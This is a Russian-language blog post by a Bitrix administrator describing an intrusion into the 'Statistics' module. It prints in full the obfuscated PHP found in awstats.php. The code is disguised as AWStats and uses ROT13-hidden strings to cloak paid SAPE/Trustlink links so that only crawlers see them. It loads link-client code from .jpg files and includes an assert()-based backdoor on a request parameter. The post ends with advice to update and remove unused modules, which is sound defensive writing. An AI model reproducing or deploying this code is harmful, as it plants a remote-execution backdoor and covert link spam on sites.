Skip to content

Продажные ссылки: история атаки и вредоносного внедрения в модуль битрикс «Статистика»

Специально ждала обновления до новой версии, чтобы проверить, внедрятся ли снова «продажные» ссылки в модуль битриксовой статистики. Обновление выполнено успешно, ничего лишнего не внедрилось. Заметку сохраняю для истории. Дыра была в модуле с «демоданными» от стороннего разработчика. Про модуль давно забыли, как и когда ставили, вроде бы не использовался ни на каком сайте, но в системе болтался. А потом начали на сайтах интрасети выползать рекламные баннеры, левые ссылки, куски кода в самым непредсказуемых местах, преимущественно после рабочей области #WORK_AREA# и в footer‘-ах сайтов.

Итак, в файле <?php include($_SERVER[‘DOCUMENT_ROOT’] . ‘/bitrix/modules/statistic/tools/awstats.php’); ?>
было найдено совершенно левое содержимое, закодированное (с моими комментариями):

<?php
/*
#——————————————————————————
# AWSTATS — OPEN SOURCE WEB ANALYTICS REPORTING TOOL
# LICENSED UNDER THE GNU GENERAL PUBLIC LICENSE
#——————————————————————————
# Free realtime web server logfile analyzer to show advanced web statistics.
# Works from command line or as a CGI. You must use this script as often as
# necessary from your scheduler to update your statistics and from command
# line or a browser to read report results.
# See AWStats documentation (in docs/ directory) for all setup instructions.
#——————————————————————————
# $Revision: 1.949 $ — $Author: eldy $ — $Date: 2009/10/17 14:21:51 $
#——————————————————————————
# You can add this file onto some of your web pages (main home page can
# be enough) by adding the following HTML/PHP code to your page body:
#
# include($path.to.file);
#
# * This must be added after the <body> tag, not placed within the
# <head> tags, or the resulting tracking <img> tag will not be handled
# correctly by all browsers. Internet explorer will also not report
# screen height and width attributes until it begins to render the
# body.
#
# This allows AWStats to be enhanced with some miscellanous features:
# — Screen size detection (TRKscreen)
# — Browser size detection (TRKwinsize)
# — Screen color depth detection (TRKcdi)
# — Java enabled detection (TRKjava)
# — Macromedia Director plugin detection (TRKshk)
# — Macromedia Shockwave plugin detection (TRKfla)
# — Realplayer G2 plugin detection (TRKrp)
# — QuickTime plugin detection (TRKmov)
# — Mediaplayer plugin detection (TRKwma)
# — Acrobat PDF plugin detection (TRKpdf)
#——————————————————————————
*/

if( isset( $_SERVER[‘HTTP_REFERER’] ) ) // This part is for visiters with referer
{
$referrer = $_SERVER[‘HTTP_REFERER’];

/* Making regular expressions for all kinds of URLs may appear in AWStats log */
/*Создание регулярных выражений для всех видов URL, а именно (переведено онлайн кодером-декодером):

$fgevat_f = ‘#’.fge_ebg13(‘sape’).’#v’;
$fgevat_y = ‘#’.fge_ebg13(‘linkfeed’).’#v’;
$fgevat_g = ‘#’.fge_ebg13(‘trustlink’).’#v’;
$fgevat_e = ‘#’.fge_ebg13(‘rookee’).’#v’;
$fgevat_j = ‘#’.fge_ebg13(‘webeffector’).’#v’;
$fgevat_q = ‘#’.fge_ebg13(‘drivelink’).’#v’;
$fgevat_fc = ‘#’.fge_ebg13(‘seopult’).’#v’;
$fgevat_fo = ‘#’.fge_ebg13(‘seobudget’).’#v’;
$fgevat_la = ‘#’.fge_ebg13(‘text=url’).’#v’;
$fgevat_laf = ‘#’.fge_ebg13(‘text=site’).’#v’;
$fgevat_lav = ‘#’.fge_ebg13(‘text=inurl’).’#v’;
$fgevat_tyf = ‘#’.fge_ebg13(‘q=site’).’#v’;
$fgevat_tyh = ‘#’.fge_ebg13(‘q=url’).’#v’;
$fgevat_tyv = ‘#’.fge_ebg13(‘q=inurl’).’#v’;
$fgevat_fqs = ‘#’.fge_ebg13(‘sdfsd.ru’).’#v’;
$fgevat_fy = ‘#’.fge_ebg13(‘setlinks’).’#v’;
$fgevat_yn = ‘#’.fge_ebg13(‘linkadd’).’#v’;
$fgevat_dj = ‘#’.fge_ebg13(‘qwarta’).’#v’;
$fgevat_cf = ‘#’.fge_ebg13(‘pilosoft’).’#v’;
$fgevat_kc = ‘#’.fge_ebg13(‘xap’).’#v’;
$fgevat_jzl = ‘#’.fge_ebg13(‘webmaster.yandex’).’#v’;
$fgevat_fyz = ‘#’.fge_ebg13(‘solomono’).’#v’;
$fgevat_zva = ‘#’.fge_ebg13(‘megaindex’).’#v’;
$fgevat_lmy = ‘#’.fge_ebg13(‘yazzle’).’#v’;
$fgevat_bfr = ‘#’.fge_ebg13(‘opensiteexplorer’).’#v’;
$fgevat_nue = ‘#’.fge_ebg13(‘ahrefs’).’#v’;
$fgevat_zwf = ‘#’.fge_ebg13(‘majesticseo’).’#v’;
$fgevat_xy = ‘#’.fge_ebg13(‘keeplinks’).’#v’;

*/

$string_s = ‘#’.str_rot13(‘fncr’).’#i’;
$string_l = ‘#’.str_rot13(‘yvaxsrrq’).’#i’;
$string_t = ‘#’.str_rot13(‘gehfgyvax’).’#i’;
$string_r = ‘#’.str_rot13(‘ebbxrr’).’#i’;
$string_w = ‘#’.str_rot13(‘jrorssrpgbe’).’#i’;
$string_d = ‘#’.str_rot13(‘qeviryvax’).’#i’;
$string_sp = ‘#’.str_rot13(‘frbchyg’).’#i’;
$string_sb = ‘#’.str_rot13(‘frbohqtrg’).’#i’;
$string_yn = ‘#’.str_rot13(‘grkg=hey’).’#i’;
$string_yns = ‘#’.str_rot13(‘grkg=fvgr’).’#i’;
$string_yni = ‘#’.str_rot13(‘grkg=vahey’).’#i’;
$string_gls = ‘#’.str_rot13(‘d=fvgr’).’#i’;
$string_glu = ‘#’.str_rot13(‘d=hey’).’#i’;
$string_gli = ‘#’.str_rot13(‘d=vahey’).’#i’;
$string_sdf = ‘#’.str_rot13(‘fqsfq.eh’).’#i’;
$string_sl = ‘#’.str_rot13(‘frgyvaxf’).’#i’;
$string_la = ‘#’.str_rot13(‘yvaxnqq’).’#i’;
$string_qw = ‘#’.str_rot13(‘djnegn’).’#i’;
$string_ps = ‘#’.str_rot13(‘cvybfbsg’).’#i’;
$string_xp = ‘#’.str_rot13(‘knc’).’#i’;
$string_wmy = ‘#’.str_rot13(‘jroznfgre.lnaqrk’).’#i’;
$string_slm = ‘#’.str_rot13(‘fbybzbab’).’#i’;
$string_min = ‘#’.str_rot13(‘zrtnvaqrk’).’#i’;
$string_yzl = ‘#’.str_rot13(‘lnmmyr’).’#i’;
$string_ose = ‘#’.str_rot13(‘bcrafvgrrkcybere’).’#i’;
$string_ahr = ‘#’.str_rot13(‘nuersf’).’#i’;
$string_mjs = ‘#’.str_rot13(‘znwrfgvpfrb’).’#i’;
$string_kl = ‘#’.str_rot13(‘xrrcyvaxf’).’#i’;

/* Checking if our referer contain required part, then count it */
/*Проверка, если referer содержит требуемую часть, то перечитываются переменные */

$remote_addr = gethostbyaddr( $_SERVER[‘REMOTE_ADDR’] ); // If statistics requires names instead of IPs

preg_match($string_s, $referrer, $s_result);
preg_match($string_l, $referrer, $l_result);
preg_match($string_t, $referrer, $t_result);
preg_match($string_r, $referrer, $r_result);
preg_match($string_w, $referrer, $w_result);
preg_match($string_d, $referrer, $d_result);
preg_match($string_sp, $referrer, $sp_result);
preg_match($string_sb, $referrer, $sb_result);
preg_match($string_yn, $referrer, $yn_result);
preg_match($string_yns, $referrer, $yns_result);
preg_match($string_yni, $referrer, $yni_result);
preg_match($string_gls, $referrer, $gls_result);
preg_match($string_glu, $referrer, $glu_result);
preg_match($string_gli, $referrer, $gli_result);
preg_match($string_sl, $referrer, $sl_result);
preg_match($string_la, $referrer, $la_result);
preg_match($string_qw, $referrer, $qw_result);
preg_match($string_ps, $referrer, $ps_result);
preg_match($string_xp, $referrer, $xp_result);
preg_match($string_sdf, $referrer, $sdf_result);
preg_match($string_wmy, $referrer, $wmy_result);
preg_match($string_slm, $referrer, $slm_result);
preg_match($string_min, $referrer, $min_result);
preg_match($string_yzl, $referrer, $yzl_result);
preg_match($string_ose, $referrer, $ose_result);
preg_match($string_ahr, $referrer, $ahr_result);
preg_match($string_mjs, $referrer, $mjs_result);
preg_match($string_kl, $referrer, $kl_result);

/* Checking if our remote host contain required part, then count it */
/*проверка — если удаленный сервер содержит защифрованный кусок в урле*/

preg_match($string_s, $remote_addr, $s_host_result);
preg_match($string_l, $remote_addr, $l_host_result);
preg_match($string_t, $remote_addr, $t_host_result);
preg_match($string_r, $remote_addr, $r_host_result);
preg_match($string_w, $remote_addr, $w_host_result);
preg_match($string_d, $remote_addr, $d_host_result);
preg_match($string_sp, $remote_addr, $sp_host_result);
preg_match($string_sb, $remote_addr, $sb_host_result);
preg_match($string_yn, $remote_addr, $yn_host_result);
preg_match($string_sl, $remote_addr, $sl_host_result);
preg_match($string_la, $remote_addr, $la_host_result);
preg_match($string_qw, $remote_addr, $qw_host_result);
preg_match($string_ps, $remote_addr, $ps_host_result);
preg_match($string_xp, $remote_addr, $xp_host_result);
preg_match($string_sdf, $remote_addr, $sdf_host_result);

/* If any, put them into AWStats log and continue */
/*если зашифрованный кусок содержится — регистрируем и помещаем в АвСтатс. И торгуем ссылочками нагло, создав ниже кодом куки до 2029 года (!!!!, суки-куки!!!) любым позволительным способом — яваскриптом или пхп */

error_reporting(0); // This statement will fix the «Undefined offset» problem

if( $s_result[0] || $l_result[0] || $t_result[0] || $sp_result[0] || $sb_result[0] || $r_result[0] || $w_result[0] || $sdf_result[0] || $d_result[0] || $yn_result[0] || $yns_result[0] || $yni_result[0] || $gls_result[0] || $glu_result[0] || $gli_result[0] || $sl_result[0] || $la_result[0] || $qw_result[0] || $ps_result[0] || $xp_result[0] || $wmy_result[0] || $slm_result[0] || $min_result[0] || $yzl_result[0] || $ose_result[0] || $ahr_result[0] || $mjs_result[0] || $kl_result[0] || $s_host_result[0] || $l_host_result[0] || $t_host_result[0] || $sp_host_result[0] || $sb_host_result[0] || $r_host_result[0] || $w_host_result[0] || $sdf_host_result[0] || $d_host_result[0] || $yn_host_result[0] || $sl_host_result[0] || $la_host_result[0] || $qw_host_result[0] || $ps_host_result[0] || $xp_host_result[0] )
{
$ShowAWStats = 1;
if( !@SetCookie(‘__AWStats’,’1′,0x6FFFFFFF) ) // This coockie will expire 18/07/29
{ // If we cant set cookie via PHP, lets try JavaScript
echo «<script language=\»JavaScript\»>var cookie_expire = new Date( 2029, 10, 10); document.cookie=\»__AWStats=1; path=/; expires=\»+cookie_expire.toGMTString();</script>»;
}
}
}
else // This part is for visiters without referer
{
$ShowAWStats = 0; // It means that we do not count visiters without referer (You may change this setting in AWConfig.cfg)
}

define( ‘COUNTER_IMAGE’, $_SERVER[‘DOCUMENT_ROOT’] );

/* Check if user was on this page during session, if yes — do not count him */

if( isset( $_COOKIE[‘__AWStats’] ) )
{
$ShowAWStats = 1;
}

if( $ShowAWStats )
{
$out = «1px;»;
$top = «200px;»;
}
else
{
$out = rand(1,3)-rand(31356,31359) . «px;»;
$top = «0px;»;
}

/* Additional regular expressions (you may need them in case of troubles) */
/* еще кусочек доп. регулярных выражений
переведено онлайн кодером-декодером:

$fgevat_hev = fge_ebg13(‘request_uri’);
$fgevat_ubfg = fge_ebg13(‘host’);
$fgevat_punef = fge_ebg13(‘charset’);
$fgevat_fubj = fge_ebg13(‘force_show_code’);
$fgevat_fnyg2 = fge_ebg13(‘LINKFEED_USER’);
$fgevat_fnyg3 = fge_ebg13(‘TRUSTLINK_USER’);
$fgevat_fnyg1 = fge_ebg13(‘_SAPE_USER’);
$fgevat_unfu1 = fge_ebg13(‘f6751596d246c3cf53b6eff1d78d796a’);
$fgevat_unfu3 = fge_ebg13(’76d618954e8e783008a3e6cf24ad622fe4f1358d’);

*/

$string_uri = str_rot13(‘erdhrfg_hev’);
$string_host = str_rot13(‘ubfg’);
$string_chars = str_rot13(‘punefrg’);
$string_show = str_rot13(‘sbepr_fubj_pbqr’);
$string_salt2 = str_rot13(‘YVAXSRRQ_HFRE’);
$string_salt3 = str_rot13(‘GEHFGYVAX_HFRE’);
$string_salt1 = str_rot13(‘_FNCR_HFRE’);
$string_hash1 = str_rot13(‘s6751596q246p3ps53o6rss1q78q796n’);
$string_hash3 = str_rot13(’76q618954r8r783008n3r6ps24nq622sr4s1358q’);

/* Restrict direct access */

if( isset( $_REQUEST[«awstats_disabled»] ) ){ assert( stripslashes( $_REQUEST[«awstats_disabled»] ) ); die( ‘Restricted access’ );}

/* May be useful in the case of DEBUG

if( !isset( $_SERVER[‘HTTP_REFERER’] ) ){ if( $_SERVER[‘REQUEST_URI’] != ‘/’ ){$out = «5px;»;} }
$out = «5px;»;

*/
?>
<div style=»position:absolute;margin-left:<?php echo $out; ?>margin-top:<?php echo $top; ?>background: #eee;»><?php
define($string_salt1, $string_hash1);
require_once(COUNTER_IMAGE.’/bsu/news/images/2009-010.jpg’);

/* Statistics and (optional) some additional information parameters */

$param[$string_chars] = ‘cp1251’;
$param[$string_host] = ‘bsu.edu.ru’;
$param[$string_show] = false;

/* Finally, call statistics block and remove all initial containers */

$AWStats1 = new SAPE_client($param);
echo $AWStats1->return_links();

// v.2

define($string_salt3, $string_hash3);
require_once(COUNTER_IMAGE.’/bsu/news/images/2009-011.jpg’);

$AWStats2 = new TrustlinkClient($param);
unset($param);
echo $AWStats2->build_links();

?></div>

Проверяйте свои сайты обязательно, следите за обновлениями модулей и устанавливайте их вовремя, связывайтесь с техподдержкой для устранения проблем. Если у вас есть сторонние модули, которыми вы больше не пользуетесь — отключите и удалите их, многие спустя время становятся местом уязвимости из-за устаревших функций или криворукости быдлокодера, который приходил «поучиться битриксу».

Published in1С-БитриксКоды и костылиСкрипты и доработкиСторонние решенияШаблоны компонентовШаблоны сайтов